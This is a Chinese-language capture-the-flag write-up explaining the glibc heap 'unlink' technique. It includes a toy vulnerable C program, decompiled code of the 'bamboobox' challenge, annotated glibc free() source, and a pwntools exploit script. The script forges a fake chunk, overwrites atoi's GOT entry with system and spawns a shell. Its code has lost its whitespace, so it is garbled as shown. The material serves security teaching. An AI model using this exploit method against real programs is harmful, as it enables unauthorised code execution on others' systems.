#include<stdio.h>#include<stdlib.h>#include<string.h>typedefstructtagOBJ{structtagOBJ*fd;structtagOBJ*bk;charbuf[8];}OBJ;voidshell(){system("/bin/sh");}voidunlink(OBJ*P){OBJ*BK;OBJ*FD;BK=P->bk;FD=P->fd;FD->bk=BK;BK->fd=FD;}intmain(intargc,char*argv[]){malloc(1024);OBJ*A=(OBJ*)malloc(sizeof(OBJ));OBJ*B=(OBJ*)malloc(sizeof(OBJ));OBJ*C=(OBJ*)malloc(sizeof(OBJ));// double linked list: A <-> B <-> C
A->fd=B;B->bk=A;B->fd=C;C->bk=B;printf("here is stack address leak: %p\n",&A);printf("here is heap address leak: %p\n",A);printf("now that you have leaks, get shell!\n");// heap overflow!
gets(A->buf);// exploit this unlink!
unlink(B);return0;}
代码是模拟了 unlink 的操作, 漏洞是堆溢出. 开始, A B C 被链在了一起 (A B C 地址由低到高), 如下图:
B->fd 中是 C 的地址, B->bk 中是 A 的地址.
执行 Unlink(B) 的时候, 首先 FD = B->fd; BK = B->bk 然后 FD->bk = BK; BK->fd = FD. 如果 B 中的 bk 和 fd 被堆溢出修改掉了, 那么会出现什么样的效果呢?
intshow_item(){inti;// [rsp+Ch] [rbp-4h]
if(!num)returnputs("No item in the box");for(i=0;i<=99;++i){if(itemlist[i].name)printf("%d : %s",(unsignedint)i,itemlist[i].name);}returnputs("");}
__int64add_item(){inti;// [rsp+4h] [rbp-1Ch]
intsize;// [rsp+8h] [rbp-18h]
charbuf[8];// [rsp+10h] [rbp-10h] BYREF
unsigned__int64v4;// [rsp+18h] [rbp-8h]
v4=__readfsqword(0x28u);if(num>99){puts("the box is full");}else{printf("Please enter the length of item name:");read(0,buf,8uLL);size=atoi(buf);if(!size){puts("invaild length");return0LL;}for(i=0;i<=99;++i){if(!itemlist[i].name){itemlist[i].size=size;itemlist[i].name=(char*)malloc(size);printf("Please enter the name of item:");itemlist[i].name[(int)read(0,itemlist[i].name,size)]=0;++num;return0LL;}}}return0LL;}
unsigned__int64change_item(){intindex;// [rsp+4h] [rbp-2Ch]
intsize;// [rsp+8h] [rbp-28h]
charbuf[16];// [rsp+10h] [rbp-20h] BYREF
charnptr[8];// [rsp+20h] [rbp-10h] BYREF
unsigned__int64v5;// [rsp+28h] [rbp-8h]
v5=__readfsqword(0x28u);if(num){printf("Please enter the index of item:");read(0,buf,8uLL);index=atoi(buf);if(itemlist[index].name){printf("Please enter the length of item name:");read(0,nptr,8uLL);size=atoi(nptr);printf("Please enter the new name of the item:");itemlist[index].name[(int)read(0,itemlist[index].name,size)]=0;}else{puts("invaild index");}}else{puts("No item in the box");}return__readfsqword(0x28u)^v5;}
unsigned__int64remove_item(){intindex;// [rsp+Ch] [rbp-14h]
charbuf[8];// [rsp+10h] [rbp-10h] BYREF
unsigned__int64v3;// [rsp+18h] [rbp-8h]
v3=__readfsqword(0x28u);if(num){printf("Please enter the index of item:");read(0,buf,8uLL);index=atoi(buf);if(itemlist[index].name){free(itemlist[index].name);itemlist[index].name=0LL;itemlist[index].size=0;puts("remove successful!!");--num;}else{puts("invaild index");}}else{puts("No item in the box");}return__readfsqword(0x28u)^v3;}
首先寻找漏洞, 发现在 change_item 中, 没有对 size 进行检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned__int64change_item(){...if(itemlist[index].name){printf("Please enter the length of item name:");read(0,nptr,8uLL);size=atoi(nptr);printf("Please enter the new name of the item:");itemlist[index].name[(int)read(0,itemlist[index].name,size)]=0;}...}
/*
------------------------------ free ------------------------------
*/staticvoid_int_free(mstateav,mchunkptrp,inthave_lock){INTERNAL_SIZE_Tsize;/* its size */mfastbinptr*fb;/* associated fastbin */mchunkptrnextchunk;/* next contiguous chunk */INTERNAL_SIZE_Tnextsize;/* its size */intnextinuse;/* true if nextchunk is used */INTERNAL_SIZE_Tprevsize;/* size of previous contiguous chunk */mchunkptrbck;/* misc temp for linking */mchunkptrfwd;/* misc temp for linking */constchar*errstr=NULL;intlocked=0;size=chunksize(p);// 一些简单的检查
.../*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*//*
如果 size 在 fastbin 最大以内, 丢入 fastbin 中.
下面的代码不用细看, 因为没有 unlink 操作. 下面就不放了.
所以, 要触发 free 的 unlink, 至少是 small chunk
#define get_max_fast() global_max_fast
变量的定义也是通过计算得到的, 有些复杂, 直接说结论
global_max_fast 大小是 0x80
*/if((unsignedlong)(size)<=(unsignedlong)(get_max_fast())#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/&&(chunk_at_offset(p,size)!=av->top)#endif
){...}/*
Consolidate other non-mmapped chunks as they arrive.
*/// 如果不是 mmap 得到的, 那就是 small chunk 和 large chunk
elseif(!chunk_is_mmapped(p)){...nextchunk=chunk_at_offset(p,size);...nextsize=chunksize(nextchunk);.../* consolidate backward */// 向后合并. 如果上一个 chunk 是 free chunk
if(!prev_inuse(p)){prevsize=p->prev_size;size+=prevsize;p=chunk_at_offset(p,-((long)prevsize));/*
上面三句可以看到, 现在的 p 变成了前面一个 chunk 的地址了.
然后 unlink 前面一个 chunk
unlink 是一个宏, 它里面会对 bck 和 fwd 修改
就直接修改了当前函数的局部变量 bck, fwd 了
*/unlink(av,p,bck,fwd);}// 如果前不是 top chunk
if(nextchunk!=av->top){/* get and clear inuse bit */nextinuse=inuse_bit_at_offset(nextchunk,nextsize);/* consolidate forward */// 向前合并. 如果下一个 (非 top) chunk 是 free chunk
if(!nextinuse){unlink(av,nextchunk,bck,fwd);size+=nextsize;}elseclear_inuse_bit_at_offset(nextchunk,0);/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/// 放入 unsort bin 中
...// 设置头部的 size
set_head(p,size|PREV_INUSE);// 设置下一个 chunk 头部的 presize
set_foot(p,size);...}/*
If the chunk borders the current high end of memory,
consolidate into top
*/// 前一个是 top chunk, 合并到 top chunk
else{...}.../*
If the chunk was allocated via mmap, release via munmap().
*/// 最后如果是 mmap 得到的, 用另一种方法释放
else{munmap_chunk(p);}}
frompwnimport*context(os='linux',arch='amd64',log_level='debug')io=process('./bamboobox')elf=ELF('./bamboobox')libc=ELF('/home/wings/CTF/tools/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')defn2b(num):returnstr(num).encode()defop(i):io.sendafter(b'Your choice:',n2b(i))defadd(length,name):op(2)io.sendafter(b'Please enter the length of item name:',n2b(length))io.sendafter(b'Please enter the name of item:',name)defshow():op(1)defchange(index,length,name):op(3)io.sendafter(b'Please enter the index of item:',n2b(index))io.sendafter(b'Please enter the length of item name:',n2b(length))io.sendafter(b'Please enter the new name of the item:',name)defremove(index):op(4)io.sendafter(b'Please enter the index of item:',n2b(index))add(0x20,b'a'*0x20)add(0x80,b'b'*0x80)itemlist=elf.sym['itemlist']itemlist_0_name_ptr=itemlist+0x8fake_chunk=p64(0)fake_chunk+=p64(0x21)fake_chunk+=p64(itemlist_0_name_ptr-0x8*3)fake_chunk+=p64(itemlist_0_name_ptr-0x8*2)overlap=p64(0x20)overlap+=p64(0x90)change(0,len(fake_chunk+overlap),fake_chunk+overlap)remove(1)got_atoi=elf.got['atoi']payload=p64(0)*3+p64(got_atoi)change(0,len(payload),payload)show()io.recvuntil(b'0 : ')atoi=u64(io.recv(6).ljust(8,b'\x00'))success(f'atoi_addr: {hex(atoi)}')libc_atoi=libc.sym['atoi']libc_offset=atoi-libc_atoisystem=libc.sym['system']+libc_offsetpayload=p64(system)change(0,len(payload),payload)io.sendafter(b'Your choice:','/bin/sh')io.interactive()